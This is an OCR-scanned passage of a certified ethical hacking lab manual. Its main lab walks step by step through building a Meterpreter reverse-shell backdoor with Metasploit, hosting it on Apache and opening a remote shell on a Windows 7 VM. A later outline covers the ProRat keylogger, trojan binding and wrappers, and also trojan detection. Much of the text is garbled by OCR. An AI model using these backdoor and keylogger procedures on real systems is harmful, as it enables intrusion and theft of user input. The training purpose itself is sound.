m  Windows7 running 1l virtual machine (Victim machine)
m A web browser with Internet access

m  Administrative privileges to mil tools

Lab Duration

Tune: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparendy
harmless programming or data 111 such a way that it can get control and cause
damage, such as mining die hie allocation table on a hard drive.

Lab Tasks
sd TAask 1 1. Start BackTrack 5 virUial machine.
Create Sever 2. Open the terminal console by navigating to Application ~ BackTrack
Connection ™ Exploitation Tools ™ Network Exploitation Tools ™ Metasploit

Framework ™ msfconsole

y Applications Places System | d  UUCOCt2310:03 "AM
Accessories >
A Backltdck : ' >4 Gathering
. Graphic* Vulnerability Assessment >
Internet » m0 Exploitation Ibols » .K Network Exploitation Thols = >1. Cisco Attacks >
i1l Office > A Pnvilege Escalation " I<e Exploitation Tools > 1. FasMVack >
A Other » B\ Maintaining Access » A Database Exple A armitage iH Metasploit Framework >
12" Sound & Video »  Reverse Engineenng »  Wireless Explo A msfdi if-. SAP Exploitation
Open yourterminal 1f System Tools » A RFIDTools » A Social Engmee ~ msfconsole A isr-evilgrade
(CTRL+ALT +T) and type 5 Wine > a  Stress Testina “ Physical Explo ~ msfupdate netoear-telnetenable
msfvenom -h to viewthe r1- Forensics > Open Source E 3. start msfpro termineter
available options for diis tooL ~ Reporting Tools \V;

jP Services

o M
Miscellaneous Uy N

<< back track

[Create Simple Exploit

CEH Lab Manual Page 518 Ethical Hacking and Countenneasures Copyright © by EC-Council
AH Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

FIGURE 11.1: Selecting msfconsole from metasploit Framework
3. Type the following command 111 msfconsole: msfpayload
windows/meterpreter/reverse tcp LHOST=10.0.0.6 X >
Desktop/Backdoor.exe and press Enter

Note: This IP address (10.0.0.6) is BackTrack machines. These IP addresses
may vary in your lab environment.

BackTrack on WIN-D39MRSHLIE4 - Virtual Machine Connection I I
File Action Media Clipboard View Help
« 3®S0 Il »fe 1
Applications Places system D g !S3 TUeOCt23. 3:32 PM

| File Edit View Terminal Help

3K0a SuperHack 11 Logon

XracK

»[ metasploit v4.s.0-dev [corci4b apt:1.0] y
- 927 ]=" exploits « 499 auxiliary - 151 post
- 251 ]="" payloads « 28 encoders - 8 nops

;> jnsfpayload windows/neterpreter/reverse tcp LHOST-10.0.0.6 X > Desktop/Backdoor

FIGURE 11.2: CreatdngBackdoor.exe

4. Tins command will create a Windows executable file with name the

Metasploit Backdoor.exe and it will be saved on the BackTrack 5 desktop.
Framework, a tool 9
. BackTrack on WIN-D39MRSHL9E4 - Virtual Machine Connection
for developing and Il Acton Meda Clphoard Vi* Help

it 0 ®@gm!| it fe

~  Applications Places System U lue OCt 23. 11:53 AM

executing exploit
code against a
remote target

m ach | ne Backdoor.exe
v jaaj
FIGURE 113: Created Backdoor.exe file
5. Now you need to share Backdoor.exe with your victim machine
(Windows 7), by following these steps:
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6. Open anew BackTrack 5 terminal (CTRL+ALT+T) and then nan this
command mkdir /var/www/share and press Enter to create a new

director}" share.

To create new directory
share followingcommand is
usedmkdir / var/www/share

FIGURE 11.4: sharing the file

7. Change the mode for the share folder to 755, by entering the command
chmod -R 755 /var/www/share/ and then press Enter

BackTrack on WIN-D39MRSHL9E4 - Virtual Machine Connection T:TB..
File Action Media Clipboard View Help
<910 @M@O Il It fe ,
Applications Places System 0O d FT mReOct23. 12:03 Pf/
Ft
Backdoor.exe
@ ' N roothbt: —
Fjle Edit View Terminal Help
fll.-. rlif A psddae
Moot T ﬁ Tmud *R 7S5 /var/*ww/share/ |
m  To change die mode of
share folder use the following
commalld:chmod -R*
Ivar/www/share/
n H
al

FIGURE 11.5: sharing the file into 755

8. Change the ownership of that folder into www-data, by entering the
command chown -R www-data:www-data /var/www/share/ and then

press Enter.
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BackTrack on WIN-D39MRS5HL9E4 - Virtual Machine Connection

Fil Acton Midis Clippoard Mw Hilp

It >@@0 It >»
Applications Places system (*] d 1 RCoctZB. 12:xPv

'V k roottbt: T
ile Edit View Terminal Help
gt rkdir Aar/ww/share
2 0L, mTT
mot'jbt:-¢ cnown R ~> dara:v.w data /yar/w//sftr>rc/ \

Tochange
ownership of
folder into www,

use this command < < baCk ItraCk 5

chown -Rwww-

data
/var/www/share/
FIGURE 11.6: Change the ownership of the folder
9. Type the command Is -la /var/www/ | grep share and then press Enter
BackTrack on WIN-D39MRSHLIE4 - Virtual Machine Connection l_! OI-*
File Action Media Clipboard View Help
U 3® S0 Il It ffe
Applications Places system (> d Pp< 1eCCt23.1
's v x root*bt -
Tile Edit View Terminal Help
rootrbt:-* nkdir /var/ww/share
rootgbt:-# chaod -R 755 /var/wvw/share/
'c -~ chowr -R w»data:wuw data /yar/ww/stmre/
roct~bt:-» Is -1d /varA**t/ | grep share|
-03
FIGURE 11.7: sharing die Backdoor.exe file
10. The next step is to start the Apache server by typing the service
apache2 start command 11l the terminal, and then press Enter.
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BackTrack on WIN-D39MRS5HL9E4 - Virtual Machine Connection

File Action Midie Clpbo»rd V!** Htfp
It >® @0 I >>

Applications Places system ('] a | luCCCt 23. 12:07 PM

' N raothbt: —
File Edit View Tsfrminal Help
rootjabt:"# nkdir /var/www/share
rootjabt:-* ch«od -R 755 /var/ww/share/
rootgbt:'¢ chowr sRvm datawww data /var/wwv/shar<
rootgbt:-¢ Is -la /var/ww/ | grep share
drwxr-xr-x 2 www-data ww-data 4096 2012-10-23 128\
-pet:cl:-¢ service apache2 start |
* Starting web server apache2
httpd (pid 3662) already running

<< back Itrack £

-03.

& T o runthe FIGURE 11.8: Starting Apache Webserver
apache web server 11. Now your Apache web server is running, copy the Backdoor.exe file
use the f(;)llowmg into the share folder. Type the following command cp
command:
/root/Desktop/Backdoor.exe /var/www/share/ and press Enter

cp

/root/ m Sf4/d ata/eX BackTrack on W1N-D39MRSHLOE4 - Virtual Machine Connection | - | " N«T
) Fle Action Media Clipboard View Help

ploits/* «Io®Ca L

Ivarlwww/share/

Backdoor.exe
" V. x rootdbt: ~

Rle Edit View Terminal Help

rootstot:-# nkdir /var/ww/share
rooto b t:-41 chaod -R 755 /var/ww/share/
rootgbt:'s chown r n/m data:wvw data /var/wwvr/shars/-.~

rootpbt:*# Is -la /war/mm/ | grep share

drwxr-xrx 2 v/*v data wwr data 4096 2612 JQ-21 n!nl utm
rootObt:*f service apache2 start

+ Starting web server apache2

httpd (pid 3662) already running

rootflbt:-* cp/root/Desktop/Backdoor.exe /var/www/share/
Lidic aiic 111 I.a, tiu -uli 1Pl 1 111
cp /root/OevktQp/Bdckdoof.exe /var/www/shaie/

<< back ltrack

FIGURE 11.9: Running Apache Webserver
12. Now go to Windows 7 Virtual Machine, open Firetox or any web
browser, and type the URL http://10.0.0.6/share/1ll the URL field and
then press Enter
Note: Here 10.0.0.6 is the IP address of BackTrack; it may vary 11l your
lab environment.
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Windows 7 on WIN-D39MR5HL9E4 - Virtual M arine Connection
Fil= Action Media Clipboard V!** ~Halp

» 03 Q n 0

—1 %
Indtx Offthan * =''me
0005 C *11° Goplde - lo %
E1 MottVniUd  Gettind $UII*d i.i Su99cacd SiUt W SUaGAlcfy D Boknw |

Index of/share
Name Last modified  Sue Description

Parent Directory
23-0ct-2012 12:12 72K

Apache/2.2.14 (Ubtmru) Server at 100.0.6 Port SO

WOoAMALY... B>\ Wb o,
FIGURE 11.10: Firefox web browser with Backdoor.exe

13. Download and save the Backdoor.exe tile in Windows 7 Virtual
Machine, and save tins file on the desktop.

1
If you didn't Action Media Clipboard _View  Help Hz
10®@0 Il wike5

have apache?2
installed, run apt-
get install apache?2

CHH

Certified Ethical Hacker

~Unnuji

FIGURE 11.11: Saved Backdoor.exe on desktop
14. Switch back to the BackTrack machine.

15. Open the Metasploit console. To create a handler to handle the
connection Irom victim macliine (Windows 7), type the command use
exploit/multi/handler and press Enter
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BackTrack on WIN-D39MRS5HL9E4 - Virtual Machine Connection

m The exploitwillbesaved Fil- Action Midis Clipbosrd VI** Htfp

on It >® @ 0 oIt >»

/ root/.msf4/data/exploits/ Applications Placcs system A I 1COCt23 1230PM
folder

" v x lterminal

Bnckdoore f'¥ Edit View Terminal Help

oz’(/'-

nsf > nsfpayload w ndows/’»eterpreter/reverse tcp LHOSW97T1m7b.91 X~ tofefetop/Backdoor.exe
[*] exec: nsfpayload windows/reterpreter/reversetcp LHOST-192.1$a-e0?9ix > C*gw"*jdoor

Created by nsfpayload (http://MM.netasplolt.con).

Payload: windows/meterpreter/reverse tcp

Length: 290 %
Options: ("LHOST192.168.8 .91 m<=*">

wsf > use exploit/nulti/handler |

nsf exploit(handler) >

<< back lItrack ™

FIGURE 11.12: Exploit the victim machine

16. To use the reverse TCP, type the command set payload
windows/meterpreter/reverse_tcp and press Enter

BackTrack on WIN-D39MRSHLIE4 - Virtual Machine Connection ‘”” ((Tl
File Action Media Clipboard View Help
<010 ® e e 1 it [h *>
Applications Places system f§ [ 1lueOCt23. 12:36 PM ,

Backdoor.J Flle Edit View Terminal Help

U=U To setreverse TCP vise
the following command set

payload sf > tisfpayload windows/neterpreter/reverse tcp LHOST192.168.8.91° lesktop/Backdoor.exe .
windows/meterpreter/reverse I"q exec: nsfpayload windows/reterpreterireverse tcp LHOST=192.0688  ~*jpes kiop/Backditr | |
-tcP
Created by nsfpayload (http://M M .netasploit.con)
Payload: windows/meterpreter/reverse tcp f
Length: 290 A
Options: {LHOST"->"192.168 8.91">
BSI > use exololt/BulTl/handler n
nsf exploit(handlvr) >lset payload windowi/neterpreter/reveise tcpl
paylond -> windows/mete rpmvr7TPVPrCT "rrp
fifcf exploit(handler) >
FIGURE 11.13: Setup die reverse TCP
17. To set the local IP address that will catch the reverse connection, type
the command set Ihost 10.0.0.6 (BackTrack IP Address) and press
Enter
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BackTrack O0n WIN-D39MR5SHLIC4 - Virtual Machine Connection

Fil+ Action Midi* Clipboard Vi** H*lp
st 9 () © 0 Mi*e
Applications Placcs system (*J

5y Av * Todd

Bnckdoor.J 1« Edit View Terminal Help

d 1 HiICoct 23. 12:40 PM

tnil > isfpayload windOlrfs/»eterpreter/reverse_tcp 1HOST-192.168.8.91 X > Desktop/BacKdoor.exe

I[+] exec

msfpayload windows/neterpreter/reverse tcp LHQST-192.168.8.91 X > Desktop/Backdoor.!

Created by rasfpayload (http://wwx.netasploit.con).. —-
Payload: windovs/meterpreter/reverse_tcp

Length: 298

options: {"LHO05T“=>"192.168.8.91*}
msf > use explo.it/llulti/handler
exploit(handler) > set payload wmdows/neterpreter/reverse Tcp

msf

payload => windows/neTerpreTer/reyerse tco
msf exploit(handler) >|set lhost 18.6.5.6 |

IhosT => 10.6.0.6
exploit(handler) >

<< back Itrack

58a.

FIGURE 11.14: set the lost local IP address

18. To start the handler, type the command exploit -j -z and press Enter

File Action Media Clipboard View Help
« )0 @allb~r j

Applications Places system [>%]

N\
JAt11 <l

Backdoor.d File Edit View Terminal Help

BackTrack on WIN-D39MR5HLIL4 - Virtual Machine Connection I I 1

TUe OCt 23.12:44 PM

Created by nsfpayload (http://ww .netasploit.con)

Payload: windows/meterpreter/reverse tcp
Length: 290

Options: {3IHOST#=>+"192.168.8.91"}

msf > use exploit/nulti/handler

mst exploit(handler) > set payload windows/neterpret
payload => windows/rieterpreter/reverse tcp

msf exploit(handler) > set lhost 18.6.8.6

Ihost -> 10.0.0.6

msf exploit(handler) >texploit -j -11

1*] Exploit running as background job

[-1 Started reverse handler on 18.0.8.6:4444
1”1 Starting the payload handler...

msf exploit(handler) > 1

<< pack Itrack 5

FIGURE 11.15: Exploit the windows 7 machine

19. Now switch to the victim machine (Windows 7) and double-click the
Backdoor.exe file to run it (which is already downloaded)

20. Again switch to the BackTrack machine and you can see the following

figure.
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I& To interact
with the available
session, you can
use sessions -i
<session id>
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BackTrack on WIN-D39MRSHLOE4 - Virtual Machine Connection
Filt Action M#di* Clpbosrd Vie*  Hifp
S() @O0 Il 1 *»
Applications Places system d M: TUcoct23. 3:02 pm ,

A a v x Tterminal
I File Edit View Terminal Help
Back( ¢ " ***1 927 exploits « 499 auxiliary « 151 post
@ 251

]m-- + payloads 28 encoders 8 nops

1st > msfpayload windows/iieterpreter/reverse tcp LHOST-10.0.0 6 X > Desktop Backdoor.exe
[*] exec: nsfpayload windoirfs/meterpreter/reversetcp LHOST=10.0.0.6 X > Desktop Backdoor.exe

sh: Desktop: is a directory
msf > msfpayload windows/neterpreter/reversetcp LHO0ST=18.0.0.6 X > Desktop/Backdoor.exe
1"J exec: nsfpayload windoirfs/meterpreter/reverse tcp LHOM"Ift.ft.-ONTX 0*"eMtt6I»/Backdoor.exe

Created by msfpayload <http://*w .netasplolt.coll).

Payload: windows/neterpreter/reversetcp

Length: 290

Options: {-LHOST"=<*10.0.0.6}

akl > use exploit/multi/handler

rsf exploit(hancler) > set payload windows/neterpreter/reverse tcp
payload => windows/meierpreter/reversetcp

aisf exploit(handler) > set lhost 10.0.8.6

I'host => 10.0.0.6

! explgit ndler) > e Iip,—.d£)\/

B At el i Tm

[*]~~rtrtafever se randier oft 18.0.9.6:4444 IS

13 * Starting the prfytoad hsrdiernrr "

uliif  explwit((reantlier) > [*] Sending St?8c (751128 bytes) to 10.0.0.5

11°J Interpreter session 1 opened (10.C 6.6:4444 -> 10.0.8.5:49458) at,12012-18-23 1?7:57152 40530 |

FIGURE 11.16: Exploit result of windows 7 machine

and press Enter

FIGURE 11.17: creating the session

22. Enter the command shell, and press Enter.
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BackTrack on WIN-D39MRSHLOE4 - Virtual Machine Connection
Media Clipboard V **  Help
® o U 1

Applications Piaccs system d X IuCOCt23, 3:13 PM

A a d x *tterminal

| File Edit view ifefmmal Help

Backc Created by msfpayload (http://www.netasplolt.com>,

23. Type the dir command and press Enter It shows all the directories

Payload: windows/neterpreter/reverse tcp

Length: 290

Options: CLHOST*10.0.0.6"<m™}

nkl > use exploit/multi’/handler

msf exploit(handler) > set payload windows/neterpreter/reversetcp
payload *> windows/meterpreter/reversetcp

asf exploit(handler) > set lhost 16.6.8.6

Ihost 10.0.0.6 <"

Bil exploit(handler) > exploit -j -2

[*J Exploit running as background job.

[*1 Started reverse handler on 10.0.6.6:4444

*j Starting the payload handler...

Ilil exploit(handler) > [*] Sending stage (752128 bytes) to 10.0.0.5

*] Meterpreter session 1 opened (10.6.0.6:4444 -> 10.0.0.5:49458) at 2012-10-

sf exploit(handler) > sessions *i 1
*] Starting interaction with 1...

—s

¢dSIVI'IIQ LI\ LI QLIV

Microsoft ws Tve/sl 1
Copyright (c) 2009 Microsoft Corpora!lon Al rights reserved,

c:\users\AiHnIn\pesktop>|

FIGURE 11.18: Type the shell command

present on the victim machine (Windows 7).

File_Action

BackTrack on WIN-D39MRSHLI9E4 - Virtual Machine Connection
Media Clipboard  View Help

il < =3

Applications Places system o]

/I a V' x Terminal

../ File Edit View Terminal Help
Backe

st exploit(handler) > sessions -i 1
[-] Invalid session id

nsf exploit(handler) > sessions mi 2
[*] starting interaction with 2...

interpreter > shell

Process 2540 created.

Channel 1 created. -
Microsoft windows [version 6.1.76011

Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Adtnin\Desktop?b if |

dir

volume in drive C has no label.

Volume Serial Nunber is 6868-71F6

Oirectory of C:\Users\Adnin\Desktop I

10/23/2012 02:56 <O0IR>

%’s‘iw Clsgftez Jew a

Qir(s) 56.679,985.152 byteslfree

C:\Users\Adrn! n\Desktop>§

FIGURE 11.19: check die directories of windows 7

]:10l

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion 011
your target’s security” posture and exposure dirough public and free information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

Tool/Utility

Metasploit

RELATED TO THIS LAB.

Information Collected/Objectives Achieved

Output:
Hack the Windows 7 machine directories

Internet Connection Required

O Yes
Platform Supported

0 Classroom

0 iLabs
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	Overview of Trojans and Backdoors

	Lab Tasks

	Lab Analysis


	Creating a Server Using the ProRat Tool

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	10.	Select Girl.jpg 111 the window and then click Open to bind the file.

	13.	111 Server Icon select any of the icons, and click the Create Server button at bottom right side of the ProRat window.

	14.	Click OK atter the server has been prepared, as shown 111 the tollowing screenshot.

	18.	Now switch to Windows 8 Virtual Machine and enter the IP address of Windows Server 2008 and the live port number as the default 111 the ProRat main window and click Connect.

	19.	111 tins lab, the IP address of Windows Server 2008 is (10.0.0.13)

	Note: IP addresses might be differ 111 classroom labs FT ProRat V1.9

	20.	Enter the password you provided at the time ol creating the server and click OK.

	21.	Now you are connected to the victim machine. To test the connection, click PC Info and choose the system information as 111 the following figure.

	23.	The Key Logger window will appear.

	24.	Now switch to Windows Server 2008 machine and open a browser or Notepad and type any text.

	25.	While the victim is writing a message or entering a user name and password, you can capmre the log entity.

	26.	Now switch to Windows 8 Virtual Machine and click Read Log from time to time to check for data updates trom the victim machine.

	Lab Analysis

	Questions

	Wrapping a Trojan Using One File EXE Maker

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	Senna Spy One EXE Maker 2000 - 2.0a

	Senna Spy One EXE Maker 2000 - 2.0a

	Senna Spy One EXE Maker 2000 - 2.0a

	4.	Select Mcafee and type 8080111 die Command Line Parameters field.

	7.	Now double-click to open die Tetris.exe file. Tliis will launch die Lazaris

	8.	Now open Task Manager and click die Processes tab to check it McAfee is running.


	[*[ס^


	Lab Analysis

	Analyze and document the results related to die lab exercise. Give your opinion 011 your target’s secunty posture and exposure dirough public and free information.

	PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

	RELATED TO THIS LAB.




	Questions

	1.	Use various odier options for die Open mode, Copy to, Action sections of OneFileEXEMaker and analyze the results.

	2.	How you will secure your computer from OneFileEXEMaker attacks?

	Internet Connection Required


	0 Classroom



	Proxy Server Trojan

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	Type die command mcafee 8080 to mil the service 111 Windows Server 2008.

	5.	The service lias started 011 port 8080.

	6.	Now go to Windows Server 2012 host machine and contigure the web browser to access die Internet 011 port 8080.

	7.	111 diis lab launch Clirome, and select Settings as shown 111 die following figure.

			 •״•n״w׳-■11


	12.	Enter die IP address of Windows Server 2008, set die port number to 8080, and click OK.

	Local Area Network (LAN) Settings

	14.	The web page will open.

	15.	Now go back to Windows Server 2008 and check die command prompt.



	Lab Analysis

	Analyze and document die results related to die lab exercise. Give your opinion on your target’s s earn tv posture and exposure dirough public and tree information.


	Questions


	HTTP Trojan

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	3.	Disable/Stop World Wide Web Publishing Services.

	4.	Right-click the World Wide Web Publishing service and select Properties to disable the service.

	World Wide Web Publishing Service Properties (Local...


	7.	Click Create to create a httpserver.exe file.

	9.	Double-click the tile to and click Run.

	10.	Go to Task Manager and check if die process is mnning.


	11.	Go to Windows Server 2008 and open a web browser to access die Windows 8 machine (here “10.0.0.12” is die IP address ot Windows 8 Machine).


	Lab Analysis

	Questions


	Remote Access Trojans Using Atelier Web Remote Commander

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	9.	The Commander is connected to the Remote System. Click tlieSys Info tab to view complete details of the Virtual Machine.

	10.	Select Networklnfo Path where you can view network information.

	11.	Select the File System tab. Select c:\ from the drop-down list and click Get.

	12.	Tins tab lists the complete files ol the C:\ drive of Windows Server 2008.

	13.	Select Users and Groups, which will display the complete user details.


	14.	Tins tool will display all the details of the remote system.


	Lab Analysis

	Analyze and document tlie results related to die lab exercise. Give your opinion on your target’s security posture and exposure dirough public and tree information.


	Questions


	Detecting Trojans

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	TCPView - Sysinternals: www.sysinternals.com

	5.	Now it is analyzing die SMTP and odier ports.

	TCPView - Sysinternals: www.sysinternals.com


	You can also kill die process by double-clickuig diat respective process, and dien clicking die End Process button.

	Properties for dns.exe: 1572

	Go to Windows Server 2012 Virtual Machine.

	& Simply run Autoruns	1 °-	following is the detailed list on die Logon tab.

	11.	The following are die Explorer list details.

	12.	The following are die Services list details.

	13.	The following are die Drivers list details.

	14.	Tlie following is die KnownDLLs list 111 Antonins.

	15.	Install and launch jv16 PowerTools 111 Windows Server 2012 (host machine).

	17.	To launch jv16 PowerTools, select die Start menu by hovering die mouse cursor on die lower-left corner ot die desktop.

	18.	Click jv16 PowerTools 2012 111 Start menu apps.

	19.	Click the Clean and fix my computer icon.
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	21.	It will analyze your system for tiles; this will take a few minutes.

	22.	Computer items will be listed after die complete analysis.

	23.	Selected item details are as follows.

	24.	The Registry junk section provides details for selected items.

	25.	Select all check boxes 111 die item list and click Delete. A dialog box appears. Click Yes.

	26.	Go to the Home tab, and click die Control which programs start automatically icon.

	27.	Check programs in Startup manager, and then you can select die appropriate action.

	28.	Click die Registry Tools menu to view registry icons.

	29.	Click File Tools to view hie icons.

	30.	Click System Tools ro view system icons.


	U EH

	31.	Click Privacy tools to view privacy icon.

	32.	Click Backups in die menu to display die Backup Tool dialog box.

	40.	Click Generate checksum files. The progress bar shows the progress percentage complete for the hash tiles generated.

	41.	The following is die list of 111d5 tiles after completion.

	Lab Analysis

	Questions

	Creating a Server Using the Theef

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	5.	Double-click Client210.exe to access the victim macliine remotely.

	following screenshot.

	Open File - Security Warning


	7.	The maui window of Theef appears, as shown 111 die following screenshot.




	A ☆

	8.	Enter an IP address 111 the IP held, and leave die Port and FTP tields as dieir defaults.

	9.	111 diis lab we are attacking Windows Server 2008 (10.0.0.13). Click Connect after entering die IP address of Windows Server 2008.

	10.	Now ill Windows 8 you have access to view the Windows Server 2008 machine remotely.

	% •Qj SY &

	11.	To view die computer information, click die Computer icon at die bottom of die window.

	12.	111 Computer Information, you are able to view PC Details. OS Info, Home, and Network by clicking on die respective buttons.


	Lab Analysis

	Questions

	Creating a Server Using the Biodox

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	Lab Analysis


	Creating a Server Using the MoSucker

	Lab Scenario

	Lab Objectives

	Lab Environment

	Lab Duration

	Overview of Trojans and Backdoors

	Lab Tasks

	Lab Analysis

	Questions


	Hack Windows 7 Using Metasploit

	Lab Scenario

	Lab Objectives

	Lab Environment
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	Overview of Trojans and Backdoors

	Lab Tasks
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